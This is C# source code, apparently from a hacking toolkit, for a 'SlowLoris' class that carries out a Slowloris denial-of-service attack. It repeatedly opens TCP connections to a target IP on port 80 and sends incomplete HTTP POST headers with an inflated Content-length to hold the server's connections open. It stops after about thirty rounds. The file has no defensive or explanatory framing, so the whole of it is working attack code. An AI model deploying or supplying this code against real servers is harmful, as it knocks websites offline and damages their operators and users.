- public class SlowLoris
- {
- static bool slow = false;
- static TcpClient[] tcp = new TcpClient[2];
- static TcpClient worktcp = new TcpClient();
- private static List<TcpClient> clients = null;
- private static Thread thrd = null;
- static IPAddress workip;
- public static void loris(string host, bool looping)
- {
- slow = looping;
- }
- public static void SendLoris(string ip)
- {
- try
- {
- clients = new List<TcpClient>();
- slow = true;
- int seconds = 0;
- while (slow)
- {
- if (seconds >= 30)
- {
- StopLoris();
- return;
- }
- thrd = new Thread(u =>
- {
- try
- {
- worktcp = new TcpClient();
- workip = IPAddress.Parse(ip);
- clients.Add(worktcp);
- worktcp.Connect(ip, 80);
- if (worktcp.Connected)
- {
- StreamWriter sw = new StreamWriter(worktcp.GetStream());
- sw.Write("POST / HTTP/1.1\r\nHost: {0} \r\nContent-length: 5235\r\n\r\n", workip.ToString());
- Console.Write(DateTimeNow.GetTimeHMS() + " POST / HTTP/1.1\r\n" + DateTimeNow.GetTimeHMS() + " Host: {0} \r\n" + DateTimeNow.GetTimeHMS() + " Content-length: 5235\r\n\r\n", workip.ToString());
- sw.Flush();
- }
- }
- catch(Exception ex)
- {
- Console.Write("[SlowLoris]: Errored: " + ex.Message + "\n:::: EXCEPTION (" + ex.ToString() + ") \n IP: " + ip + "\n");
- }
- });
- thrd.Start();
- Thread.Sleep(250);
- seconds++;
- }
- }
- catch (Exception ex)
- {
- Console.WriteLine("-Slowloris broke: " + ex.Message + " " + ex.StackTrace);
- }
- }
- public static void StopLoris()
- {
- if (clients != null)
- {
- foreach (TcpClient client in clients)
- {
- try
- {
- client.GetStream().Dispose();
- }
- catch { Console.WriteLine("Could not dispose tcp stream!"); }
- }
- }
- thrd.Abort();
- worktcp.Close();
- slow = false;
- clients = null;
- Console.Write(DateTimeNow.GetTimeHMS() + " stopped slowing..\n");
- }
- }